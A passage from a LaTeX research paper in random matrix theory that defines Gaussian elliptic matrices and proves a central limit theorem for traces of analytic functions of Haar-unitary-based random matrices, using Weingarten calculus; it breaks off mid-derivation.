Let $\rho\in \mathbb{C}$ such that $|\rho| \leq 1$. A \emph{Gaussian elliptic matrix with parameter $\rho$} is an $N \times N$ Gaussian centered complex random matrix $\mathbf{X} = (x_{ij})$ satisfying :
\begin{itemize}
\item[(1)] the random vectors $\big(x_{ij},x_{ji} \big)_{i \le j}$ are independent,
\item[(2)] $\forall i$, $\mathbb{E}\,|x_{i i}|^2 = 1$ and $\mathbb{E}\, x_{i i}^2 = \rho$,
\hspace{0.1mm}
\item[(3)] $\forall i\neq j$, $\mathbb{E}\,{|x_{i j}|^2}=1$, $\mathbb{E}\, x_{i j}^2 = 0$, $\mathbb{E}\, x_{i j}x_{j i} = \rho$ and $\mathbb{E}\, x_{i j}\overline{x_{j i}} = 0$.
\end{itemize}
\end{Def}
This matrix ensemble was introduced by Girko in \cite{girko}, and its name is due to the fact that its empirical eigenvalue distribution is the uniform distribution inside an ellipse. In the case where $\rho=0$ (resp. $\rho=1$), we get a Ginibre (resp. GUE) matrix.
\begin{cor}\label{cor4}
Let $f$ be analytic on a neighborhood of $S $ such that
$$
\sum_{n \geq 1} |a_n(f)|^2 b^{2n} + |a_{-n}(f)|^2 a^{-2n} \ = \ 1.
$$
Let $k$ be a fixed positive integer and let $I=I(N)$ be a (possibly $N$-dependent) subset of $\{1, \ldots, N\}$ with cardinality $k$. Let us define the random $k\times k$ matrix $$\mathbf{X}_N:=\sqrt{N}\begin{bmatrix} f(\mathbf{A})_{ij}-a_0(f)\delta_{ij}\end{bmatrix}_{(i,j)\in I\times I}.$$ Then, as $N \to \infty$, the matrix $\mathbf{X}_N$ converges in distribution to a $k\times k$ Gaussian elliptic matrix $\mathbf{X}$ with parameter $\rho$,
$$
\rho \ := \ 2\sum_{n \geq 1}a_n(f)a_{-n}(f).
$$
\end{cor}
\begin{rmk}\label{rmk16415abc}\begin{itemize}\item[a)] In the case where $f(z)=z$,
we rederive the well-known result that any fixed-size principal submatrix of $\sqrt{N}\mathbf{U}$ converges to a Ginibre matrix (see e.g. \cite{diaconis2003,jiang06}).
\item[b)] By Corollary \ref{cor4}, the statement of the first part of this remark happens to stay true, up to a constant multiplicative factor, if $\mathbf{U}$ is replaced by $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$ or even by $\mathbf{A}^n$ or by $f(\mathbf{A})$ if $f$ is analytic in a neighborhood of the disc $\overline{B}(0,b)$.
\item[c)] It also follows from what precedes that for any $n\ge 1$, any sequence of principal submatrices with fixed size of $\sqrt{N/2}(\mathbf{U}^n+\mathbf{U}^{-n})$ and $\sqrt{N/2}(\mathbf{U}^n-\mathbf{U}^{-n})$ converge in distribution to a GUE matrix and $\mathrm{i}$ times a GUE matrix, both being independent.\end{itemize}
\end{rmk}
\section{Proof of Theorem \ref{theoremgen}}
To avoid having to treat the cases $a>0$ and $a=0$ separately all along the proof, we shall suppose that $a>0$ (the case $a=0$ is more simple, as sums run only on $n\ge 0$). Besides, note that by invariance of the Haar measure, the distribution of the random matrix $\mathbf{A}$ depends on $\mathbf{T}$ only through its singular values, so we shall suppose that $\mathbf{T}=\operatorname{diag}(s_1, \ldots, s_N)$, with $s_i\ge 0$.
At last, as the limit distributions, in Theorem \ref{theoremgen}, only depend on $\mathbf{T}$ only through the deterministic parameters $a,b$, up to a conditioning, one can suppose that $\mathbf{T}$ is deterministic (and that both $\|\mathbf{T}\|_{\operatorname{op}}$ and $\|\mathbf{T}^{-1}\|_{\operatorname{op}}$ are uniformly bounded, by Asssumptions \ref{assum:1} and \ref{assum:2}).
\subsection{Randomization of the $\mathbf{M}_j$'s}\label{sec:randN}Let us define $\mathbf{W}:=\mathbf{V}\mathbf{U}$. The random matrix $\mathbf{W}$ is also Haar-distributed and independent from $\mathbf{V}$. Besides, for each $j$, as $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}= \mathbf{V}^*\mathbf{W}\mathbf{T}\mathbf{V}$, $$\operatorname{Tr} f_j(\mathbf{A})\mathbf{M}_j= \operatorname{Tr} \mathbf{V}^*f_j(\mathbf{W}\mathbf{T})\mathbf{V}\mathbf{M}_j=\operatorname{Tr} f_j(\mathbf{W}\mathbf{T})\mathbf{V}\mathbf{M}_j\mathbf{V}^*$$
As a consequence, we shall suppose that $\mathbf{A}=\mathbf{U}\mathbf{T}$ (instead of $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$) and that there is a Haar-distributed random unitary matrix $\mathbf{V}$, independent of $\mathbf{U}$, such that for each $j$, $\mathbf{M}_j=\mathbf{V}\widetilde{\mathbf{M}}_j\mathbf{V}^*$, with $\widetilde{\mathbf{M}}_1, \ldots, \widetilde{\mathbf{M}}_k$ a collection of deterministic matrices also satisfying \eqref{3031512h}.
\subsection{Tails of the series}\label{section152327042015} Let us first prove that Theorem \ref{theoremgen} can be deduced from the particular case where there is $n_0$ such that for all $n$, we have $$|n|>n_0\implies \forall j=1, \ldots, k, \; a_n(f_j)=0.$$
Let $\varepsilon\in (0,a/2)$ such that the domain of each $f_j$ contains the annulus of complex numbers $z$ such that $ a-2\varepsilon\le|z|\le b+2\varepsilon$.
\begin{lem}\label{lem:3031514h}
There is a constant $C$ independent of $N$ such that for any $n$ such that $n^6\le N$ and any $j=1, \ldots, k$, we have
$$ \mathbb{E}\, |\operatorname{Tr} \mathbf{A}^n\mathbf{M}_j|^2 \le C n^2\left(\mathbbm{1}_{n\ge 0} (b+\varepsilon)^{2n}+\mathbbm{1}_{n\le 0} (a-\varepsilon)^{2n}\right)$$
\end{lem}
\beg{proof}
With the notation of Section \ref{sec:randN}, let $\mathbb{E}\,_\mathbf{V}$ denote the expectation with respect to the randomness of $\mathbf{V}$. For each $n\in \mathbb{Z}$ and each $j$, by Lemma \ref{lem161423031500}, we have
\begin{eqnarray*} \mathbb{E}\,_{\mathbf{V}} |\operatorname{Tr} \mathbf{A}^n\mathbf{M}_j|^2&=&\mathbb{E}\,_\mathbf{V} \operatorname{Tr} \mathbf{A}^n\mathbf{V}\widetilde{\mathbf{M}}_j\mathbf{V}^*\operatorname{Tr} (\mathbf{A}^*)^n\mathbf{V}\widetilde{\mathbf{M}}^*_j\mathbf{V}^*\\
&=&\frac{1}{N^2-1}\left(\operatorname{Tr} \mathbf{A}^n\operatorname{Tr}(\mathbf{A}^*)^n\operatorname{Tr}\widetilde{\mathbf{M}}_j\operatorname{Tr}\widetilde{\mathbf{M}}^*_j+ \operatorname{Tr}\mathbf{A}^n (\mathbf{A}^*)^n\operatorname{Tr} \widetilde{\mathbf{M}}_j\widetilde{\mathbf{M}}_j^*\right)\\
& &-\frac{1}{N(N^2-1)}\left(\operatorname{Tr} \mathbf{A}^n\operatorname{Tr}(\mathbf{A}^*)^n\operatorname{Tr}\widetilde{\mathbf{M}}_j \widetilde{\mathbf{M}}^*_j+\operatorname{Tr}\mathbf{A}^* (\mathbf{A}^*)^n\operatorname{Tr} \widetilde{\mathbf{M}}_j\operatorname{Tr}\widetilde{\mathbf{M}}_j^*\right)\\
&\le & \frac{1}{N^2-1}\left(|\operatorname{Tr} \mathbf{A}^n|^2\operatorname{Tr}\widetilde{\mathbf{M}}_j\operatorname{Tr}\widetilde{\mathbf{M}}^*_j+ \operatorname{Tr}\mathbf{A}^n (\mathbf{A}^*)^n\operatorname{Tr} \widetilde{\mathbf{M}}_j\widetilde{\mathbf{M}}_j^*\right)\\
&\le & C\left(|\operatorname{Tr} \mathbf{A}^n|^2 +N^{-1}\operatorname{Tr}\mathbf{A}^n (\mathbf{A}^*)^n \right),
\end{eqnarray*} where $C$ is a constant independent of $N$. Then the conclusion follows from Lemma \ref{Th1JAF}.
\en{proof}
\begin{lem}\label{lem:3031514h1}There are some constants $C>0$ and $c\in (0,1)$ and a sequence $\EE=\EE_N$ of events such that $$\mathbb{P}(\EE )\underset{N\to\infty}{\longrightarrow} 1$$ and such that for all $N$, all $n_1\ge 0$ and all $j=1, \ldots, k$, we have
$$\mathbb{E}\,\Big|\mathbbm{1}_{\EE}\sum_{|n|>n_1} a_n(f_j) \operatorname{Tr} (\mathbf{A}^n\mathbf{M}_j) \Big|\;\le \; CN(1-c)^{n_1}.$$
\end{lem}
\beg{proof} By \cite[Lem. 3.2]{FloJean}, we known that there is a constant $C_1$ such that the event $$\EE=\EE_N:=\{\forall n\ge 0 , \, \|\mathbf{A}^n\|_{\operatorname{op}}\le C_1(b+\varepsilon)^n\}\cap \{\forall n\le 0 , \, \|\mathbf{A}^{ n}\|_{\operatorname{op}}\le C_1(a-\varepsilon)^{ n}\}$$ has probability tending to one.
Then one concludes easily, noting first that by non-commutative H\"older inequalities (see \cite[Eq. (A.13)]{agz}), we have $$\mathbbm{1}_{\EE}|\operatorname{Tr} (\mathbf{A}^n\mathbf{M}_j)|\le \begin{cases} C_1(b+\varepsilon)^nN\sqrt{N^{-1}\operatorname{Tr} \mathbf{M}_j\mathbf{M}_j^*}&\textrm{ if $n\ge 0$}\\ \\
C_1(a -\varepsilon)^{ n}N\sqrt{N^{-1}\operatorname{Tr} \mathbf{M}_j\mathbf{M}_j^*}&\textrm{ if $n\le 0$}\end{cases}$$ and secondly that there is $c\in (0,1)$ such that for each $j$, the sequences $$\left( a_n(f_j) \frac{(b+\varepsilon)^n}{(1-c)^n}\right)_{n\ge 0} \qquad ;\qquad \left( a_n(f_j) \frac{(a-\varepsilon)^{n}}{(1-c)^{-n}}\right)_{n\le 0}$$ are bounded.
\en{proof}
As a consequence of Lemmas \ref{lem:3031514h} and \ref{lem:3031514h1}, for any $0<n_0<n_1\le N^{1/6}$ and any $j=1, \ldots, k$,
\begin{eqnarray*} \mathbb{E}\,\Big|\mathbbm{1}_{\EE}\sum_{|n|>n_0} a_n(f_j) \operatorname{Tr} (\mathbf{A}^n\mathbf{M}_j) \Big|&\le & \sum_{n_0<|n|\le n_1} |a_n(f_j)|\sqrt{\mathbb{P}(\EE)}\sqrt{\mathbb{E}\, |\operatorname{Tr} (\mathbf{A}^n\mathbf{M}_j)|^2}\\ &&+\mathbb{E}\,\Big|\mathbbm{1}_{\EE}\sum_{|n|>n_1} a_n(f_j) \operatorname{Tr} (\mathbf{A}^n\mathbf{M}_j) \Big|
\\
&\le & \sum_{n_0<|n|\le n_1}C |a_n(f_j)| n^2\left(\mathbbm{1}_{n\ge 0} (b+\varepsilon)^{2n}+\mathbbm{1}_{n\le 0} (a-\varepsilon)^{2n}\right)\\ &&+CN(1-c)^{n_1}
\end{eqnarray*}
Choosing first $n_1=\lfloor A\log N\rfloor$ for $A$ a large enough constant and then using the fact that for any $j=1, \ldots, k$, $$\sum_{n\in \mathbb{Z}} |a_n(f_j)| n^2\left(\mathbbm{1}_{n\ge 0} (b+\varepsilon)^{2n}+\mathbbm{1}_{n\le 0} (a-\varepsilon)^{2n}\right)<\infty,$$we deduce that for any $\delta>0$, there is $n_0>0$ fixed such that for all $N$ large enough, \begin{equation}\label{eq:tail} \sum_{j=1}^k\mathbb{E}\,\Big|\mathbbm{1}_{\EE}\sum_{|n|>n_0} a_n(f_j) \operatorname{Tr} (\mathbf{A}^n\mathbf{M}_j) \Big|\;\le \; \delta,\end{equation} for $\EE=\EE_N$ as in Lemma \ref{lem:3031514h1}.
Let us now suppose Theorem \ref{theoremgen} to be proved in the particular case where there is $n_0$ such that for all $n$, we have $$|n|>n_0\implies \forall j=1, \ldots, k,\; a_n(f_j)=0$$ and let us prove it in the general case.
Let $X_N$ denote the random vector of \eqref{273151}. We want to prove that as $N\to\infty$, the distribution of $X_N$ tends to the one of $\mathcal {G}:=(\mathcal{G}(f_1),\ldots,\mathcal{G}(f_k))$, \emph{i.e. } that for any function $F:\mathbb{C}^k\to \mathbb{C}$ which is $1$ Lipschitz and bounded by $1$, we have $$\mathbb{E}\, F(X_N)\underset{N\to\infty}{\longrightarrow} \mathbb{E}\, F(\mathcal {G}).$$
To do so, we first set
\begin{eqnarray*}
X_{N,n_0} & := & \Big( \sum_{|n|<n_0}a_n(f_j) \operatorname{Tr} \big( \mathbf{A}^n\mathbf{M}_j\big) - \operatorname{Tr}(\mathbf{M}_j)a_0(f_j) \Big)_{j=1}^k
\end{eqnarray*}
By hypothesis, for any fixed $n_0$, $X_{N,n_0}$ converges in distribution to a centered complex Gaussian vector $\mathcal{G}_{n_0}:=(\mathcal{G}_{n_0}(f_1),\ldots,\mathcal{G}_{n_0}(f_k))$ such that
\begin{eqnarray*}
\Ec{\mathcal{G}_{n_0}(f_i) \mathcal{G}_{n_0}(f_j)} & = & \Ec{\mathcal{G}(f_i) \mathcal{G}(f_j)} + \eta^{n_0}_{ij} \\
\Ec{\mathcal{G}_{n_0}(f_i) \overline{\mathcal{G}_{n_0}(f_j)}} & = & \Ec{\mathcal{G}(f_i) \overline{\mathcal{G}(f_j)}} + \delta^{n_0}_{ij},
\end{eqnarray*}
where $\displaystyle\lim_{n_0 \to \infty}\sum_{1 \leq i,j \leq k} |\eta^{n_0}_{ij}|+|\delta_{ij}^{n_0}| = 0$.
Therefore,
\begin{eqnarray*}
&&\left|\Ec{F(X_N) - F(\mathcal G)} \right| \\ & \leq & \left|\Ec{F(X_N) - F(X_{N,n_0})} \right| + \left|\Ec{F(X_{N,n_0}) - F(\mathcal{ G}_{n_0})} \right| +\left|\Ec{ F(\mathcal{ G}_{n_0})- F(\mathcal G)} \right| \\
& \leq & 2 \mathbb{P}(\EE^c) + \Ec{\mathbbm{1}_{\EE}\|X_N - X_{N,n_0}\|_2^2} + \left|\Ec{F(X_{N,n_0}) - F(\mathcal{ G}_{n_0})} \right| + \Ec{\|\mathcal{ G}_{n_0}- \mathcal G\|^2_2}
\end{eqnarray*}
which can be as small as we want by \eqref{eq:tail} and the fact that $X_{N,n_0} \cloi \mathcal{G}_{n_0}$ if $\mathcal{ G}_{n_0}$ and $\mathcal{ G}$ are coupled the right way.
\subsection{Proof of Theorem \ref{theoremgen} when the $f_j$'s are polynomial in $z$ and $z^{-1}$} We suppose here that there is $n_0>0$ such that for all $n > n_0$ and all $1 \leq j \leq k$, $a_n(f_j)=0$. Without any loss of generality, we also assume that for all $j$, $a_0(f_j)=0$. In this case, any linear combination of the $ \operatorname{Tr} f_j(\mathbf{A})\mathbf{M}_j $'s can be written
\begin{eqnarray*}
G_N & := & \sum_{j=1}^{k} \nu_{j} \operatorname{Tr} f_j(\mathbf{A})\mathbf{M}_j
\; = \; \sum_{|n|\leq n_0} \operatorname{Tr} \mathbf{A}^n \mathbf{N}_n
\end{eqnarray*}
where $\displaystyle \mathbf{N}_n := \sum_{j=1}^{k} \nu_j a_n(f_j) \mathbf{M}_j$.
Written this way, we notice that to prove that the limit distribution of $G_{N}$ is Gaussian, we simply have to prove that the random vector
$$
\left( \operatorname{Tr} \mathbf{A}^n \mathbf{N}_n \right)_{-n_0 \leq n \leq n_0}
$$
converges in distribution to a Gaussian vector. We will prove it by computing the limit of the joint moments.
Before going any further, recall that
by the preliminary randomization of the $\mathbf{N}_j$'s from section \ref{sec:randN}, we suppose that $\mathbf{A}=\mathbf{U}\mathbf{T}$ (instead of $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$) and that there is a Haar-distributed random unitary matrix $\mathbf{V}$, independent of $\mathbf{U}$, such that for each $j$, $\mathbf{N}_j=\mathbf{V}\widetilde{\mathbf{N}}_j\mathbf{V}^*$, with $\widetilde{\mathbf{N}}_j$ a deterministic matrix.
We shall proceed in three steps:
\begin{itemize}
\item[{\bf a)}] \ First, we prove the asymptotic independence of the random vectors $$\left(\operatorname{Tr} \mathbf{A}^n\mathbf{N}_n,\operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n}\right)_{n\ge 1} $$
by the factorization of the joint moments. More precisely, we prove, thanks to Corollary \ref{lemsauveur15460502}, that for any $(p_{n})_{n=1}^{n_0}$, $(q_{n})_{n=1}^{n_0}$, $(r_{n})_{n=1}^{n_0}$, $(s_{n})_{n=1}^{n_0}$,
\begin{eqnarray*}
&&\mathbb{E}\,\Big[\prod_{1 \leq n \leq n_0} \big( \operatorname{Tr} \mathbf{A}^{n}\mathbf{N}_n \big)^{p_{n}}\overline{\big( \operatorname{Tr} \mathbf{A}^{n}\mathbf{N}_n \big)^{q_{n}}} \big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n} \big)^{r_{n}}\overline{\big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n} \big)^{s_{n}}}\Big] \\
&=&\prod_{1 \leq n \leq n_0}\mathbb{E}\,\Big[ \big( \operatorname{Tr} \mathbf{A}^{n}\mathbf{N}_n \big)^{p_{n}}\overline{\big( \operatorname{Tr} \mathbf{A}^{n}\mathbf{N}_n \big)^{q_{n}}} \big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n} \big)^{r_{n}}\overline{\big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n} \big)^{s_{n}}}\Big] +\oo1
\end{eqnarray*}
\item[{\bf b)}] \ Then, we prove for any fixed $n$, the random complex vector $$( \operatorname{Tr} \mathbf{A}^n \mathbf{N}_n , \operatorname{Tr} \mathbf{A}^{-n} \mathbf{N}_{-n} )$$ converges in distribution to a centered complex Gaussian vector thanks to the criterion provided by the Lemma \ref{150112032015}. This criterion consists in proving that the joint moments, at the large $N$ limit, satisfy the same induction relation as the moments of a Gaussian distribution.
\item[{\bf c)}] \ It will follow from {\bf a)} and {\bf b)} that when all $f_j$'s are polynomials in $z$ and $z^{-1}$, the random vector of \eqref{273151} converges in distribution to a centered Gaussian vector.
To conclude the proof, the last step will be to prove that the limit covariance is the one given in Theorem \ref{theoremgen}.
\end{itemize}
\noindent In the proofs of {\bf a)} and {\bf b)}, we shall need to compute expectations with respect to the randomness of the Haar-distributed matrix $\mathbf{U}$. More precisely, we shall need to compute sums of expectations with respect of $\mathbf{U}$ resulting from the expansion of products of traces involving powers of $\mathbf{A}$ (such as $ \operatorname{Tr} \mathbf{A}^n \mathbf{N}_n $). To do so, we will use the Weingarten calculus (see Proposition \ref{wg}) and shall always proceed in the following way: first, we use \eqref{wg1} to state that all the terms of the sum are null except those for which the left (resp. right) indices involved in $u$ are obtained by permuting the left (resp. right) ones involved in $\overline{u}$. Then, we claim, by Remark \ref{alldistinct}, that among the remaining terms, we can neglect all those whose indices are not pairwise distinct. At last, once all the remaining terms are, up to multiplicative constant, equal to $\operatorname{Wg}(\sigma)$ for some permutation $\sigma$, we neglect all those for which $\sigma \neq id$ (see Remark \ref{moebius}) and the summation finally gets easy to compute. We introduce here a notation that we shall use several times :
\begin{eqnarray} \label{notationpairewisedistinct}
\operatorname{I}^{\neq}_n \ := \ \big\{ (i_1,\ldots,i_n)\in \{1,\ldots,N\}^n \, ;\, i_1,�\ldots,i_n \textrm{ are pairwise distinct}\big\}
\end{eqnarray}
(this set implicitly depends on $N$).
\subsection{Proof of b)} In this part, as $n$ is fixed, we shall denote $\mathbf{N}_n$ (resp. $\mathbf{N}_{-n}$) by $\mathbf{M}=[M_{ij}]$ (resp. $\mathbf{K}=[K_{ij}]$). For any non-negative integers $p,q,r,s$, wet set
\begin{eqnarray*}
m_{p,q,r,s} & := & \mathbb{E}\, \big( \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big)^p \overline{\big( \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big)}^q \big( \operatorname{Tr} \mathbf{A}^{-n} \mathbf{K} \big)^r \overline{\big( \operatorname{Tr} \mathbf{A}^{-n} \mathbf{K} \big)}^s
\end{eqnarray*}
and our goal is to show that, as $N$ goes to infinity, the numbers $m_{p,q,r,s}$ have limits satisfying
conditions \eqref{00-112009}, \eqref{0-112009}, \eqref{3-112009}, \eqref{2-112009} and \eqref{4-112009} of the Lemma \ref{150112032015}.
Note that \eqref{00-112009} and \eqref{3-112009} follow from the fact the the Haar measure on the unitary group is invariant by multiplication by any $\mathrm{e}^{\mathrm{i} \theta} $, $\theta\in \mathbb{R}$. We shall use the following notations
$$
\begin{array}{rcll}
\displaystyle\lim_{N \to \infty} \frac{1} N \operatorname{Tr} \big( \mathbf{M} \mathbf{M}^*\big) =: \alpha_\mathbf{M} &;& \
\displaystyle\lim_{N \to \infty} \displaystyle\frac{1} N \operatorname{Tr} \big( \mathbf{K} \mathbf{K}^*\big) =: \alpha_\mathbf{K} &; \
\vspace{2mm}\displaystyle\lim_{N \to \infty} \frac{1} N \operatorname{Tr} \big( \mathbf{M} \mathbf{K}\big) =: \beta_{\mathbf{M},\mathbf{K}} \\
\displaystyle\lim_{N \to \infty} \frac{1} N \operatorname{Tr} \mathbf{M} =: \tau_\mathbf{M} &;& \ \displaystyle\lim_{N \to \infty} \frac{1} N \operatorname{Tr} \mathbf{K} =: \tau_\mathbf{K}.
\end{array}
$$
\subsubsection{$ \operatorname{Tr} \mathbf{A}^n \mathbf{M} $ and $ \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K}$ are asymptotically two circular Gaussian complex variables satisfying conditions \eqref{0-112009} and \eqref{4-112009}}\label{section1022} We simply have to show that for any integer $p \geq 1$
\begin{eqnarray}\label{124151}
\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2p} & = & p! \big(b^{2n}((n-1)|\tau_\mathbf{M}|^2+\alpha_\mathbf{M})\big)^p +\oo1\,, \\ \label{124152}
\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big|^{2p} & = & p! \big(a^{-2n}((n-1)|\tau_\mathbf{K}|^2+\alpha_\mathbf{K})\big)^p +\oo1 \,,\\ \label{124153}
\mathbb{E}\, \big( \operatorname{Tr} \mathbf{A}^n \mathbf{M} \ \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big)^p & = & p! \big((n-1) \tau_\mathbf{M} \tau_\mathbf{K} + \beta_{\mathbf{M},\mathbf{K}} \big)^p + \oo1\,.
\end{eqnarray}
We shall prove it by induction on $p$. So first, we show the previous relation for $p=1$. Recall that we assume that $\mathbf{M} = \mathbf{V} \widetilde\mathbf{M} \mathbf{V}^*$ and $\mathbf{K} = \mathbf{V} \widetilde\mathbf{K} \mathbf{V}^*$, where $\widetilde\mathbf{M}$ and $\widetilde\mathbf{K}$ are deterministic, so that, using the Lemma \ref{lem161423031500}, we have (denoting again by $\mathbb{E}\,_\mathbf{V}$ the expectation with respect to the randomness of $\mathbf{V}$),
\begin{eqnarray*}
\hspace{-15mm}\mathbb{E}\,_\mathbf{V}{\big| \operatorname{Tr} \mathbf{A}^n \mathbf{V}\widetilde\mathbf{M}\mathbf{V}^* \big|^{2}} & = & \frac{1} N \operatorname{Tr} \mathbf{A}^n (\mathbf{A}^*)^n \left(\frac{1} N \operatorname{Tr} \widetilde\mathbf{M}\widetilde\mathbf{M}^* - \big|\frac{1} N \operatorname{Tr} \widetilde\mathbf{M} \big|^2 \right)\\
&+ &\big| \operatorname{Tr} \mathbf{A}^n \big|^2\big|\frac{1} N \operatorname{Tr} \widetilde\mathbf{M} \big|^2 + \OO{\frac{1} N}\\
\hspace{-15mm}\mathbb{E}\,_\mathbf{V} \big| \operatorname{Tr} \mathbf{A}^{-n}\mathbf{V}\widetilde\mathbf{K}\mathbf{V}^* \big|^{2} & = & \frac{1} N \operatorname{Tr} \mathbf{A}^{-n} (\mathbf{A}^*)^{-n} \left(\frac{1} N \operatorname{Tr}\big( \widetilde\mathbf{K}\widetilde\mathbf{K}^*\big) - \big|\frac{1} N \operatorname{Tr} \widetilde\mathbf{K} \big|^2 \right)\\
&+ &\big| \operatorname{Tr} \mathbf{A}^{-n} \big|^2\big|\frac{1} N \operatorname{Tr} \widetilde\mathbf{K} \big|^2 + \OO{\frac{1} N}\\
\hspace{-15mm}\mathbb{E}\,_\mathbf{V} \operatorname{Tr} \mathbf{A}^n \mathbf{V}\widetilde\mathbf{M}\mathbf{V} \, \operatorname{Tr} \mathbf{A}^{-n}\mathbf{V}\widetilde\mathbf{K}\mathbf{V}^* & = & \frac{1} N \operatorname{Tr} \widetilde\mathbf{M}\widetilde\mathbf{K} -\frac{1} N \operatorname{Tr} \widetilde\mathbf{M} \frac{1} N \operatorname{Tr} \widetilde\mathbf{K} \\
&+& \operatorname{Tr} \mathbf{A}^n \operatorname{Tr} \mathbf{A}^{-n} \frac{1} N \operatorname{Tr} \widetilde\mathbf{M} \frac{1}{N} \operatorname{Tr} \widetilde\mathbf{K} + \OO{\frac{1} N}\,.
\end{eqnarray*}
This is asymptotically determined by the limits of $\mathbb{E}\,{\big| \operatorname{Tr} \mathbf{A}^n \big|^2}$, $\mathbb{E}\,{\big| \operatorname{Tr} \mathbf{A}^{-n} \big|^2}$, $\mathbb{E}\, \operatorname{Tr} \mathbf{A}^n \operatorname{Tr} \mathbf{A}^{-n} $,\\ $N^{-1}\mathbb{E}\, \operatorname{Tr} \mathbf{A}^{n} (\mathbf{A}^*)^{n} $ and $N^{-1} \mathbb{E}\, \operatorname{Tr} \mathbf{A}^{-n} (\mathbf{A}^*)^{-n} $. First, we compute $\mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^n \big|^2$ for $n \geq 1$. We write
\begin{eqnarray} \label{12120303}
\mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^n \big|^2 & = & \sum_{\displaystyle^{1 \leq i_1,\ldots,i_n \leq N}_{1 \leq j_1,\ldots,j_n \leq N}} \Ec{u_{i_1 i_2} \cdots u_{i_n i_1} \overline{u_{j_1 j_2}} \cdots \overline{u_{j_n j_1}}} s_{i_1} s_{j_1} \cdots s_{i_n} s_{j_n}.
\end{eqnarray}
From \eqref{wg1}, we have a condition on the $i_k$'s and the $j_k$'s for a non-vanishing expectation, which is the multiset\footnote{We use the index $m$ in $\mset{\,\cdot\,}$ to denote a \emph{multiset}, which means that $\mset{x_1,\ldots,x_n}$ is the class of the $n$-tuple $(x_1,\ldots,x_n)$ under the action of the symmetric group $S_n$.} equality
\begin{eqnarray} \label{12000303}
\mset{i_1,\ldots,i_n} \ = \ \mset{j_1,\ldots,j_n},
\end{eqnarray}
The first consequence of \eqref{12000303} is that the sum is in fact over $\OO{N^n}$ terms which all are at most $\OO{N^{-n}}$, which means that any sub-summation over $\oo{N^n}$ terms might be neglected. So from now on, we shall only sum over the $n$-tuples $(i_1,\ldots,i_n)\in \operatorname{I}^{\neq}_n$ (recall notation \eqref{notationpairewisedistinct}). Then \eqref{12120303} becomes
\begin{eqnarray*}
\mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^n \big|^2 & = & \sum_{(i_1,\ldots,i_n)\in\operatorname{I}^{\neq}_n} s_{i_1}^2\cdots s_{i_n}^2 \sum_{\sigma \in S_n} \Ec{u_{i_1 i_2} \cdots u_{i_n i_1} \overline{u_{i_{\sigma(1)} i_{\sigma(2)}}} \cdots \overline{u_{i_{\sigma(n)} i_{\sigma(1)}}}} + \oo1
\end{eqnarray*}
Let $c \in S_n$ be the cycle $(1 \; 2 \; \cdots n)$. From \eqref{wg1} (see Remark \ref{alldistinct}), as long as the $i_k$'s are pairwise distinct, one can write
$$
\Ec{u_{i_1 i_2} \cdots u_{i_n i_1} \overline{u_{i_{\sigma(1)} i_{\sigma(2)}}} \cdots \overline{u_{i_{\sigma(n)} i_{\sigma(1)}}}} \ = \ \operatorname{Wg}\big( \sigma c^{-1} \sigma^{-1} c \big)
$$
and from \eqref{wg2} and Remark \ref{moebius}, we know that the non-negligible terms are the ones such that
$
\sigma c^{-1} \sigma^{-1} c \ = \ id$, \emph{i.e. } $ \sigma c \ = \ c \sigma,
$
which means that $\sigma$ must be a power of $c$ and so, only $n$ permutations $\sigma$ contribute to the non negligible terms. At last, as $\operatorname{Moeb}(id) = 1$, we have
\begin{eqnarray*}
\mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^n \big|^2 & = & \sum_{(i_1,\ldots,i_n)\in \operatorname{I}^{\neq}_n} s_{i_1}^2\cdots s_{i_n}^2 \times n N^{-n}\big(1 + \oo1 \big)+ \oo1 \\
& = & n \left( \frac{1} N \sum_{i=1}^N s_i^2 \right)^n + \oo1 \ = \ n b^{2n} + \oo1.
\end{eqnarray*}
In the same way, one can get
\begin{eqnarray*}
\mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^{-n} \big|^2 & = & n a^{-2n} + \oo1, \\
\mathbb{E}\, \operatorname{Tr} \mathbf{A} ^n \operatorname{Tr} \mathbf{A}^{-n} & = & n + \oo1 .
\end{eqnarray*}
Let us now consider $N^{-1}\mathbb{E}\, \operatorname{Tr} \mathbf{A}^n (\mathbf{A}^*)^n $ for $n\geq 1$. We have
\begin{eqnarray} \label{121203031544}
\frac{1}{N}\mathbb{E}\, \operatorname{Tr} \mathbf{A}^n (\mathbf{A}^*)^n & = & N^{-1}\!\!\!\!\!\!\!\!\!\!\sum_{\substack{1 \leq i_0,i_1,\ldots,i_{n} \leq N \\ 1 \leq j_0,j_1,\ldots,j_{n} \leq N \\ i_0 = j_0, \ i_{n} = j_{n}}} \!\!\!\!\!\!\!\!\!\!\Ec{u_{i_0 i_1} \cdots u_{i_{n-1} i_{n}} \overline{u_{j_{0} j_{1}}} \cdots \overline{u_{j_{n-1} j_{n}}}} s_{i_1}s_{j_1}\cdots s_{i_{n}}s_{j_{n}}
\end{eqnarray}
As previously, we know that by \eqref{wg1}, that for the expectation to be non zero, we must have the multiset equality
\begin{eqnarray} \label{120003031544}
\mset{i_0,\ldots,i_n} \ = \ \mset{j_0,\ldots,j_n},
\end{eqnarray}
